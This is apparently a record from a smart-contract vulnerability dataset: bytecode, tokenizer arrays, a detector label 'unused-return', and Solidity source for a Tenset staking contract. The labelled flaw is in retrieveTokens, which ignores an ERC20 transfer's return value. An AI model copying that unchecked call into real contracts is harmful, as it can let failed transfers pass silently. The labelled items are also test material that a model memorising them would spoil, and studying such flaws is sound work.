73ffffffffffffffffffffffffffffffffffffffff1633148061160d575060095473ffffffffffffffffffffffffffffffffffffffff1633145b611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b6000808773ffffffffffffffffffffffffffffffffffffffff1687878760405161169e929190611ad0565b60006040518083038185875af1925050503d80600081146116db576040519150601f19603f3d011682016040523d82523d6000602084013e6116e0565b606091505b5090999098509650505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061172d575060095473ffffffffffffffffffffffffffffffffffffffff1633145b611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905291516000928392908716916118719190611ae0565b6000604051808303816000865af19150503d80600081146118ae576040519150601f19603f3d011682016040523d82523d6000602084013e6118b3565b606091505b50915091508180156118dd5750805115806118dd5750808060200190518101906118dd9190611a7c565b611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610548565b5050505050565b60405180606001604052806003906020820280368337509192915050565b604051806101400160405280600a906020820280368337509192915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146119ab57600080fd5b919050565b6000602082840312156119c257600080fd5b6109d582611987565b600080604083850312156119de57600080fd5b6119e783611987565b946020939093013593505050565b60008060008060608587031215611a0b57600080fd5b611a1485611987565b935060208501359250604085013567ffffffffffffffff80821115611a3857600080fd5b818701915087601f830112611a4c57600080fd5b813581811115611a5b57600080fd5b886020828501011115611a6d57600080fd5b95989497505060200194505050565b600060208284031215611a8e57600080fd5b815180151581146109d557600080fd5b600060208284031215611ab057600080fd5b5035919050565b600060208284031215611ac957600080fd5b5051919050565b8183823760009101908152919050565b60008251611af2818460208701611d80565b9190910192915050565b6101408101818360005b600a811015611b25578151835260209283019290910190600101611b06565b50505092915050565b60608101818360005b6003811015611b25578151835260209283019290910190600101611b37565b82151581526040602082015260008251806040840152611b7d816060850160208701611d80565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016060019392505050565b60008219821115611bc357611bc3611db0565b500190565b600082611bfe577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600181815b80851115611c5c57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115611c4257611c42611db0565b80851615611c4f57918102915b93841c9390800290611c08565b509250929050565b60006109d58383600082611c7a57506001611d26565b81611c8757506000611d26565b8160018114611c9d5760028114611ca757611cc3565b6001915050611d26565b60ff841115611cb857611cb8611db0565b50506001821b611d26565b5060208310610133831016604e8410600b8410161715611ce6575081810a611d26565b611cf08383611c03565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115611d2257611d22611db0565b0290505b92915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d6457611d64611db0565b500290565b600082821015611d7b57611d7b611db0565b500390565b60005b83811015611d9b578181015183820152602001611d83565b83811115611daa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea2646970667358221220ebfb7a40d514f8315fa8c9da849e862122fa7f0e70b536e3784ded95504bd0ae64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 13775, 2497, 2575, 7011, 2683, 2497, 2620, 2063, 2487, 2050, 2475, 2050, 2683, 12376, 9468, 3207, 2487, 2050, 23352, 2050, 2581, 2497, 25746, 2581, 2050, 2620, 27421, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1016, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1020, 1012, 1021, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,854
0x97802f9ADD100218ac46b757CD27cEc7e6d45622
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.2; /* TENSET IS THE BEST !!! DIAMOND HANDS */ import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./Package.sol"; import "./RetrieveTokensFeature.sol"; contract InfinityDeposit is RetrieveTokensFeature, Package { using SafeMath for uint256; IERC20 public Tenset; struct Deposit { address withdrawalAddress; uint256 tokenAmount; uint256 unlockTime; uint256 idxPackage; bool withdrawn; } uint256 public depositId; uint256[] public allDepositIds; uint256 public totalUsersBalance; mapping (address => uint256[]) public depositsByWithdrawalAddress; mapping (uint256 => Deposit) public lockedToken; mapping(address => uint256) public walletTokenBalance; event LogWithdrawal(uint256 Id, uint256 IndexPackage, address WithdrawalAddress, uint256 Amount); event LogDeposit(uint256 Id, uint256 IndexPackage, address WithdrawalAddress, uint256 Amount, uint256 BonusAmount, uint256 UnlockTime); constructor(address addrToken) public { Tenset = IERC20(addrToken); } function makeDeposit(address _withdrawalAddress, uint256 _idxPackage, uint256 _amount) public canBuy(_idxPackage, _amount) returns(uint256 _id) { //update balance in address uint256 tensetFixedBalance = _amount.sub(_decreaseAmountFee(_amount)); walletTokenBalance[_withdrawalAddress] = walletTokenBalance[_withdrawalAddress].add(tensetFixedBalance); totalUsersBalance += tensetFixedBalance; _id = ++depositId; lockedToken[_id].withdrawalAddress = _withdrawalAddress; lockedToken[_id].tokenAmount = tensetFixedBalance; lockedToken[_id].unlockTime = _deltaTimestamp(_idxPackage); lockedToken[_id].idxPackage = _idxPackage; lockedToken[_id].withdrawn = false; allDepositIds.push(_id); depositsByWithdrawalAddress[_withdrawalAddress].push(_id); // transfer tokens into contract require(Tenset.transferFrom(msg.sender, address(this), _amount)); // Count bonus from package without decrease fee uint256 WithBonusAmount = tensetFixedBalance.mul(availablePackage[_idxPackage].dailyPercentage).div(100).add(tensetFixedBalance); emit LogDeposit(_id, _idxPackage, _withdrawalAddress, tensetFixedBalance, WithBonusAmount, lockedToken[_id].unlockTime); } /** *Extend lock Duration */ function extendLockDuration(uint256 _id) public { require(!lockedToken[_id].withdrawn); require(msg.sender == lockedToken[_id].withdrawalAddress); require(activePackage(lockedToken[_id].idxPackage), "Package is not active"); //set new unlock time lockedToken[_id].unlockTime = _deltaTimestamp(lockedToken[_id].idxPackage); } /** *withdraw tokens */ function withdrawTokens(uint256 _id) public { require(block.timestamp >= lockedToken[_id].unlockTime); require(msg.sender == lockedToken[_id].withdrawalAddress); require(!lockedToken[_id].withdrawn); lockedToken[_id].withdrawn = true; uint256 _idPackage = lockedToken[_id].idxPackage; //update balance in address walletTokenBalance[msg.sender] = walletTokenBalance[msg.sender].sub(lockedToken[_id].tokenAmount); totalUsersBalance -= lockedToken[_id].tokenAmount; //remove this id from this address uint256 j; uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length; for (j=0; j<arrLength; j++) { if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) { depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1]; depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop(); break; } } // transfer tokens to wallet address require(Tenset.transfer(msg.sender, lockedToken[_id].tokenAmount)); LogWithdrawal(_id, _idPackage, msg.sender, lockedToken[_id].tokenAmount); } function getTotalTokenBalance() view public returns (uint256) { return Tenset.balanceOf(address(this)); } /*get total token balance by address*/ function getTokenBalanceByAddress(address _walletAddress) view public returns (uint256) { return walletTokenBalance[_walletAddress]; } /*get allDepositIds*/ function getAllDepositIds() view public returns (uint256[] memory) { return allDepositIds; } /*get getDepositDetails*/ function getDepositDetails(uint256 _id) view public returns (address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn) { return(lockedToken[_id].withdrawalAddress,lockedToken[_id].tokenAmount, lockedToken[_id].unlockTime,lockedToken[_id].withdrawn); } /*get DepositsByWithdrawalAddress*/ function getDepositsByWithdrawalAddress(address _withdrawalAddress) view public returns (uint256[] memory) { return depositsByWithdrawalAddress[_withdrawalAddress]; } function retrieveTokensFromStaking(address to) public onlyOwner() { RetrieveTokensFeature.retrieveTokens(to, address(Tenset), getStakingPool()); } function getStakingPool() public view returns(uint256 _pool) { _pool = getTotalTokenBalance().sub(totalUsersBalance); } } pragma solidity ^0.6.2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract Package is Ownable { using SafeMath for uint256; function _decreaseAmountFee(uint256 _oldAmount) internal pure returns(uint256 _newAmount) { uint256 scaledFee = 2; uint256 scalledPercentage = 100; return _oldAmount.mul(scaledFee).div(scalledPercentage); } modifier canBuy(uint256 _idxPackage, uint256 _amount) { require(_idxPackage < availablePackage.length, "Index out of range"); require(_amount > 0); require(availablePackage.length >= _idxPackage, "Package doesn't exists"); require(availablePackage[_idxPackage].active, "Package is not active "); require(_amount.sub(_decreaseAmountFee(_amount)) > availablePackage[_idxPackage].minTokenAmount, "Amount is too small"); _; } struct PackageItem { string aliasName; uint256 daysLock; uint256 minTokenAmount; uint256 dailyPercentage; bool active; } PackageItem[] public availablePackage; function showPackageDetail(uint16 _index) public view returns(string memory, uint256, uint256, uint256, bool) { require(_index < availablePackage.length, "Index out of range"); return ( availablePackage[_index].aliasName, availablePackage[_index].daysLock, availablePackage[_index].minTokenAmount, availablePackage[_index].dailyPercentage, availablePackage[_index].active ); } function pushPackageDetail( string memory _aliasName, uint256 _daysLock, uint256 _minTokenAmount, uint256 _dailyPercentage ) public onlyOwner { PackageItem memory pkg = PackageItem({ aliasName: _aliasName, daysLock: _daysLock, minTokenAmount: _minTokenAmount, dailyPercentage: _dailyPercentage, active: true }); availablePackage.push(pkg); } function getLengthPackage() public view returns(uint256) { return availablePackage.length; } function _deltaTimestamp(uint256 _idxPackage) internal view returns(uint) { return availablePackage[_idxPackage].daysLock * 1 days + now; } function setActive(uint256 _idxPackage, bool _active) public onlyOwner { require(_idxPackage < availablePackage.length, "Index out of range"); availablePackage[_idxPackage].active = _active; } function activePackage(uint _idxPackage) internal view returns(bool) { return availablePackage[_idxPackage].active; } } pragma solidity ^0.6.2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract RetrieveTokensFeature is Context, Ownable { function retrieveTokens(address to, address anotherToken, uint256 amount) virtual public onlyOwner() { IERC20 alienToken = IERC20(anotherToken); alienToken.transfer(to, amount); } function retriveETH(address payable to) virtual public onlyOwner() { to.transfer(address(this).balance); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063822b686e116100f9578063c9028aff11610097578063e0cb4c1011610071578063e0cb4c1014610a04578063e60a955d14610a4e578063f2fde38b14610a88578063f4df7b9614610acc576101a9565b8063c9028aff146108d9578063d02d450e1461091b578063d69eca4c146109e6576101a9565b80639852099c116100d35780639852099c146107365780639a13ba2914610754578063a053ad3514610772578063bb941cff1461084b576101a9565b8063822b686e1461059e578063890db72f146106655780638da5cb5b146106ec576101a9565b806345946334116101665780636473b1eb116101405780636473b1eb146104835780636ba03924146104c7578063715018a6146105265780637b0e1c5714610530576101a9565b806345946334146103d55780634847fdd1146103f3578063530680d814610421576101a9565b806305462c78146101ae5780630bd59ad3146101f2578063210e200a1461028b5780632440fdc2146102e3578063315a095d1461034f57806339e4ea631461037d575b600080fd5b6101f0600480360360208110156101c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aea565b005b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561027757808201518184015260208101905061025c565b505050509050019250505060405180910390f35b6102cd600480360360208110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c67565b6040518082815260200191505060405180910390f35b610339600480360360608110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610c7f565b6040518082815260200191505060405180910390f35b61037b6004803603602081101561036557600080fd5b8101908080359060200190929190505050611338565b005b6103bf6004803603602081101561039357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061198b565b6040518082815260200191505060405180910390f35b6103dd6119d4565b6040518082815260200191505060405180910390f35b61041f6004803603602081101561040957600080fd5b81019080803590602001909291905050506119f7565b005b61046d6004803603604081101561043757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b60565b6040518082815260200191505060405180910390f35b6104c56004803603602081101561049957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8e565b005b6104cf611c87565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105125780820151818401526020810190506104f7565b505050509050019250505060405180910390f35b61052e611cdf565b005b61059c6004803603606081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e4d565b005b6105ca600480360360208110156105b457600080fd5b8101908080359060200190929190505050611fca565b604051808060200186815260200185815260200184815260200183151515158152602001828103825287818151815260200191508051906020019080838360005b8381101561062657808201518184015260208101905061060b565b50505050905090810190601f1680156106535780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b6106916004803603602081101561067b57600080fd5b81019080803590602001909291905050506120b2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018215151515815260200194505050505060405180910390f35b6106f4612150565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61073e612179565b6040518082815260200191505060405180910390f35b61075c61217f565b6040518082815260200191505060405180910390f35b6108496004803603608081101561078857600080fd5b81019080803590602001906401000000008111156107a557600080fd5b8201836020820111156107b757600080fd5b803590602001918460018302840111640100000000831117156107d957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291908035906020019092919080359060200190929190505050612185565b005b6108776004803603602081101561086157600080fd5b81019080803590602001909291905050506122f8565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001838152602001821515151581526020019550505050505060405180910390f35b610905600480360360208110156108ef57600080fd5b810190808035906020019092919050505061235b565b6040518082815260200191505060405180910390f35b61094b6004803603602081101561093157600080fd5b81019080803561ffff16906020019092919050505061237c565b604051808060200186815260200185815260200184815260200183151515158152602001828103825287818151815260200191508051906020019080838360005b838110156109a757808201518184015260208101905061098c565b50505050905090810190601f1680156109d45780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b6109ee61256c565b6040518082815260200191505060405180910390f35b610a0c61264d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a8660048036036040811015610a6457600080fd5b8101908080359060200190929190803515159060200190929190505050612673565b005b610aca60048036036020811015610a9e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127d6565b005b610ad46129c9565b6040518082815260200191505060405180910390f35b610af26129d6565b73ffffffffffffffffffffffffffffffffffffffff16610b10612150565b73ffffffffffffffffffffffffffffffffffffffff1614610b99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bcd81600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc86119d4565b611e4d565b50565b6060600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610c5b57602002820191906000526020600020905b815481526020019060010190808311610c47575b50505050509050919050565b60086020528060005260406000206000915090505481565b600082826001805490508210610cfd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e646578206f7574206f662072616e6765000000000000000000000000000081525060200191505060405180910390fd5b60008111610d0a57600080fd5b816001805490501015610d85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5061636b61676520646f65736e2774206578697374730000000000000000000081525060200191505060405180910390fd5b60018281548110610d9257fe5b906000526020600020906005020160040160009054906101000a900460ff16610e23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5061636b616765206973206e6f7420616374697665200000000000000000000081525060200191505060405180910390fd5b60018281548110610e3057fe5b906000526020600020906005020160020154610e5d610e4e836129de565b83612a1990919063ffffffff16565b11610ed0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416d6f756e7420697320746f6f20736d616c6c0000000000000000000000000081525060200191505060405180910390fd5b6000610eed610ede866129de565b86612a1990919063ffffffff16565b9050610f4181600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9c90919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806005600082825401925050819055506003600081546001019190508190559350866007600086815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760008681526020019081526020016000206001018190555061101e86612b24565b600760008681526020019081526020016000206002018190555085600760008681526020019081526020016000206003018190555060006007600086815260200190815260200160002060040160006101000a81548160ff0219169083151502179055506004849080600181540180825580915050600190039060005260206000200160009091909190915055600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020849080600181540180825580915050600190039060005260206000200160009091909190915055600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156111ee57600080fd5b505af1158015611202573d6000803e3d6000fd5b505050506040513d602081101561121857600080fd5b810190808051906020019092919050505061123257600080fd5b600061128a8261127c606461126e60018c8154811061124d57fe5b90600052602060002090600502016003015487612b5390919063ffffffff16565b612bd990919063ffffffff16565b612a9c90919063ffffffff16565b90507fab95e8b0b0ddc202528b40025c5594cfda4f0b23026cb1b7c8e2eb9ae9131b3885888a8585600760008c815260200190815260200160002060020154604051808781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001965050505050505060405180910390a1505050509392505050565b600760008281526020019081526020016000206002015442101561135b57600080fd5b6007600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c957600080fd5b6007600082815260200190815260200160002060040160009054906101000a900460ff16156113f757600080fd5b60016007600083815260200190815260200160002060040160006101000a81548160ff0219169083151502179055506000600760008381526020019081526020016000206003015490506114a96007600084815260200190815260200160002060010154600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1